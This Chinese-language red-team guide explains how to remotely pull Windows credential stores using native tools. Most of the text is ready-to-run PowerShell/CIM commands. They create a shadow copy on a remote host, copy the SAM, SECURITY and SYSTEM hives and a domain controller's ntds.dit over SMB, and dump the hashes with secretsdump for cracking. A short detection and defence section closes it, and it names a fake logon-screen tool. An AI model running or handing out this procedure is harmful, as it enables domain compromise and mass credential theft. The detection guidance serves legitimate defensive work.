远程提取Windows中的系统凭证
字数 916 2025-08-25 22:59:02
远程提取Windows系统凭证技术指南
概述
本指南详细介绍了如何利用Windows原生工具(WMI和SMB)从远程Windows系统中提取系统凭证文件(SYSTEM、SECURITY、SAM),以及从域控制器提取ntds.dit文件的技术方法。这种方法在红队行动中特别有用,因为它仅使用系统自带工具,隐蔽性较高。
前提条件
- 权限要求:目标系统的管理员权限
- 网络访问:需要以下端口之一可访问:
- 445/TCP (SMB)
- 135/TCP (DCOM)
- 5985/TCP (WinRM)
- 5986/TCP (基于SSL的WinRM)
- 工具准备:PowerShell环境
技术实现步骤
1. 建立远程会话
使用替代凭据(可选)
runas.exe /netonly /user:MyDomain\MyUser powershell.exe
创建CIM会话
$h = 'DC01.mydomain.local' # 目标主机名
$so = New-CimSessionOption -Protocol Dcom # 使用DCOM协议
$s = New-CimSession -ComputerName $h -SessionOption $so
注:如需使用WinRM,省略-SessionOption参数
2. 创建卷影副本
$r = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{ Volume = 'C:\' } -CimSession $s
$r | fl # 查看返回结果,ReturnValue为0表示成功
# 获取卷影副本详细信息
$c = Get-CimInstance -ClassName Win32_ShadowCopy -CimSession $s -Filter "ID=`"$($r.ShadowID)`""
$c # 查看卷影副本属性
技巧:可以检查现有卷影副本而不创建新的,只需省略-Filter参数执行Get-CimInstance
3. 构建SMB访问路径
$p = '\\{0}\C$\{1}\Windows\System32\config' -f $h,$c.InstallDate.ToUniversalTime().ToString("'@GMT-'yyyy.MM.dd-HH.mm.ss")
$p # 显示构建的路径,如:\\DC01.mydomain.local\C$\@GMT-2020.04.19-19.34.01\Windows\System32\config
4. 复制凭证文件
copy $p\SYSTEM C:\tmp
copy $p\SECURITY C:\tmp
copy $p\SAM C:\tmp
# 对于域控制器,还可以复制ntds.dit文件
copy $p\..\ntds\ntds.dit C:\tmp
注意:创建卷影副本后可能需要等待片刻才能访问路径
5. 清理资源
$c | Remove-CimInstance # 删除卷影副本
$s | Remove-CimSession # 关闭会话
凭证提取与破解
使用Impacket工具解析
- 本地SAM文件解析:
secretsdump.py -system SYSTEM -security SECURITY -sam SAM LOCAL
- 域控ntds.dit文件解析:
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
在线破解哈希
获取哈希后,可使用各种在线破解工具或服务进行破解。
蓝队检测方法
- 事件日志:监控事件ID 7036(Microsoft软件卷影复制提供程序服务启动)
- 网络流量:检测异常的主机间RPC/DCOM和SMB通信
- 文件访问:监控对敏感文件(SYSTEM、SECURITY、SAM、ntds.dit)的访问
防御建议
- 限制管理员权限的分配
- 监控卷影副本服务的异常启动
- 配置网络监控规则检测异常SMB和DCOM通信
- 对敏感文件设置严格的访问控制
- 定期审计域控制器上的活动
总结
这种技术利用Windows原生管理工具实现凭证提取,具有较高的隐蔽性。红队可以利用此方法在不引入外部工具的情况下获取系统凭证,而蓝队需要加强对原生工具滥用的检测能力。
相关工具
- WES-NG - Windows提权辅助脚本
- FakeLogonScreen - 伪造系统登录页面工具